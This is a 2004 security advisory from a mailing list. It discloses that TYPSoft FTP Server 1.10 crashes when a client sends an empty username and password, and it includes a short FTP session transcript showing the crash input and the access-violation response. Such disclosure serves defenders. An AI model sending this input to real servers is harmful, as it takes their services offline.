[NT] TYPSoft FTP Server Denial of Service (Empty Username and Password)

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To: list@securiteam.com
Date: 5 Feb 2004 15:10:32 +0200

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  TYPSoft FTP Server Denial of Service (Empty Username and Password)
------------------------------------------------------------------------

SUMMARY

 <http://www.typsoft.com> TYPSoft FTP Server is "a fast and easy ftp
server with support to Standard FTP Command, Clean interface, Virtual File
System architecture, ability to resume Download and Upload, IP
Restriction, Login/Quit message, logs, Multi Language and many other
things". A vulnerability in the product allows remote attackers to cause
the server to crash by sending it an empty username.

DETAILS

Vulnerable systems:
 * TYPSoft FTP Server version 1.10

Exploit:
To test this vulnerability simply send to the FTP server an empty user
name like:

-----------------------------------------------------------------------
220 TYPSoft FTP Server 1.10 ready...
USER
331 Password required for .
PASS
501 Access violation at address 77F526AB in module 'ntdll.dll'.
Write of address 00404C4D
-----------------------------------------------------------------------

ADDITIONAL INFORMATION

The information has been provided by <mailto:intuit@linuxmail.org>
intuit.

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